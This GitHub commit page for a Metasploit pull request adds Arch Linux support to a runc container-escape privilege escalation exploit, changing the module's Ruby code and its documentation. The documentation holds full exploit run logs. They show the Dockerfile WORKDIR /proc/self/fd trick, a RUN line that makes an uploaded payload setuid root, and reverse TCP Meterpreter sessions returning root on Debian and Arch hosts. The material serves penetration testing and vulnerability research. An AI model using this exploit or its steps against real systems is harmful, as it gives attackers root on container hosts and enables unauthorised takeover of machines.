Skip to content

Commit

Permalink
Merge pull request #19734 from h00die/runc_arch
Browse files Browse the repository at this point in the history
arch linux compatibility for runc priv esc
  • Loading branch information
jheysel-r7 authored Jan 10, 2025
2 parents ed292a9 + 23db148 commit a6ba7bf
Show file tree
Hide file tree
Showing 2 changed files with 133 additions and 4 deletions.
122 changes: 120 additions & 2 deletions documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,20 @@ and Kubernetes are vulnerable to an arbitrary file write.
Due to a file descriptor leak it is possible to mount the host file system
with the permissions of runc (typically root).

Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.
Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build.
Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build.

### Arch Install

```
wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/runc-1.1.10-1-x86_64.pkg.tar.zst
pacman -U runc-1.1.10-1-x86_64.pkg.tar.zst
wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/docker-1%3A24.0.7-1-x86_64.pkg.tar.zst
pacman -U docker-1\:24.0.7-1-x86_64.pkg.tar.zst
systemctl start docker.service && systemctl enable docker.service
usermod -aG docker <user>
```

## Verification Steps

Expand All @@ -26,7 +39,9 @@ available (`scratch` won't work). Defaults to `alpine:latest`

## FILEDESCRIPTOR

The file descriptor to use, typically `7` or `8`. Defaults to `8`
The file descriptor to use, typically `7` or `8`. Defaults to `7`

## Scenarios

### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04

Expand Down Expand Up @@ -117,3 +132,106 @@ msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2
meterpreter > getuid
Server username: root
```

### Debian 12.4

```
msf6 exploit(linux/local/runc_cwd_priv_esc) > run session=1 lhost=192.168.20.24 verbose=true
[*] Started reverse TCP handler on 192.168.20.24:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.11 detected
[*] Creating directory /tmp/.jwBZNB
[*] /tmp/.jwBZNB created
[*] Uploading Payload to /tmp/.jwBZNB/.cleXu7
[*] Uploading Dockerfile to /tmp/.jwBZNB/Dockerfile
[*] Building from Dockerfile to set our payload permissions
[*] #0 building with "default" instance using docker driver
[*]
[*] #1 [internal] load build definition from Dockerfile
[*] #1 transferring dockerfile: 217B done
[*] #1 DONE 0.0s
[*]
[*] #2 [internal] load metadata for docker.io/library/alpine:latest
[*] #2 DONE 3.5s
[*]
[*] #3 [internal] load .dockerignore
[*] #3 transferring context: 2B done
[*] #3 DONE 0.0s
[*]
[*] #4 [1/3] FROM docker.io/library/alpine:latest@sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b
[*] #4 DONE 0.0s
[*]
[*] #5 [2/3] WORKDIR /proc/self/fd/7
[*] #5 CACHED
[*]
[*] #6 [3/3] RUN cd ../../../../../../../../ && chmod -R 777 tmp/.jwBZNB && chown -R root:root tmp/.jwBZNB && chmod u+s tmp/.jwBZNB/.cleXu7
[*] #6 DONE 0.3s
[*]
[*] #7 exporting to image
[*] #7 exporting layers 0.0s done
[*] #7 writing image sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959 done
[*] #7 DONE 0.1s
[*] Removing created docker image 6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959
[*] Deleted: sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959
[*] Payload permissions set, executing payload (/tmp/.jwBZNB/.cleXu7)...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.20.25
[+] Deleted /tmp/.jwBZNB/.cleXu7
[+] Deleted /tmp/.jwBZNB/Dockerfile
[+] Deleted /tmp/.jwBZNB
[*] Meterpreter session 2 opened (192.168.20.24:4444 -> 192.168.20.25:43178) at 2024-02-07 01:00:02 -0500
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.20.25
OS : Debian 12.4 (Linux 6.1.0-17-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```

### Arch

```
[msf](Jobs:2 Agents:1) exploit(linux/local/runc_cwd_priv_esc) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The target is not exploitable. Check method only available for Debian/Ubuntu systems ForceExploit is enabled, proceeding with exploitation.
[*] Creating directory /home/user/.mpjj2xVK6
[*] /home/user/.mpjj2xVK6 created
[*] Uploading Payload to /home/user/.mpjj2xVK6/.bXnmZ47
[*] Uploading Dockerfile to /home/user/.mpjj2xVK6/Dockerfile
RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47
[*] Building from Dockerfile to set our payload permissions
[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
[*] Install the buildx component to build images with BuildKit:
[*] https://docs.docker.com/go/buildx/
[*]
[*] Sending build context to Docker daemon 3.072kB
[*] Step 1/3 : FROM alpine:latest
[*] ---> 4048db5d3672
[*] Step 2/3 : WORKDIR /proc/self/fd/8
[*] ---> Using cache
[*] ---> 6421d9ffc175
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47
[*] ---> Running in 09b17fa56c44
[*] Removing intermediate container 09b17fa56c44
[*] ---> 38c39324ec16
[*] Successfully built 38c39324ec16
[*] Removing created docker image 38c39324ec16
[*] Deleted: sha256:38c39324ec1608d06b99c3e17ab5cca6a0bc6bf55a28b71e8622aa97861b4bf6
true
-rwsrwxrwx 1 root root 250 Dec 15 12:23 /home/user/.mpjj2xVK6/.bXnmZ47
[*] Payload permissions set, executing payload (/home/user/.mpjj2xVK6/.bXnmZ47)...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[+] Deleted /home/user/.mpjj2xVK6/.bXnmZ47
[+] Deleted /home/user/.mpjj2xVK6/Dockerfile
[+] Deleted /home/user/.mpjj2xVK6
[*] Meterpreter session 11 opened (1.1.1.1:4444 -> 2.2.2.2:57722) at 2024-12-15 07:23:18 -0500
(Meterpreter 11)(/home/user) > getuid
Server username: root
```
15 changes: 13 additions & 2 deletions modules/exploits/linux/local/runc_cwd_priv_esc.rb
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,8 @@ def initialize(info = {})
with the permissions of runc (typically root).
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.
Also tested on Debian 12.4.0 with runc 1.1.11 using Docker build.
Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build.
Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build.
},
'License' => MSF_LICENSE,
'Author' => [
Expand Down Expand Up @@ -141,8 +142,13 @@ def check
# Replace any "+deb", "+ds", "~rc", "u" or "-" with a "."
fixed_version = fixed_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.')
runc_version = unfiltered_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.')
when 'arch'
version_info =~ /runc\s+version\s+(\d+\S*)/
unfiltered_version = Regexp.last_match(1)
fixed_version = '1.1.12'
runc_version = unfiltered_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.')
else
return CheckCode::Safe('Check method only available for Debian/Ubuntu systems')
return CheckCode::Safe('Check method only available for Debian/Ubuntu/Arch systems')
end

if Rex::Version.new(runc_version) < Rex::Version.new(fixed_version) && Rex::Version.new(runc_version) >= Rex::Version.new(minimum_version)
Expand All @@ -163,6 +169,11 @@ def exploit
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end

# Make sure we can execute our payload as root
if nosuid?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")
end

# create directory to write all our files to
dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
mkdir(dir)
Expand Down

0 comments on commit a6ba7bf

Please sign in to comment.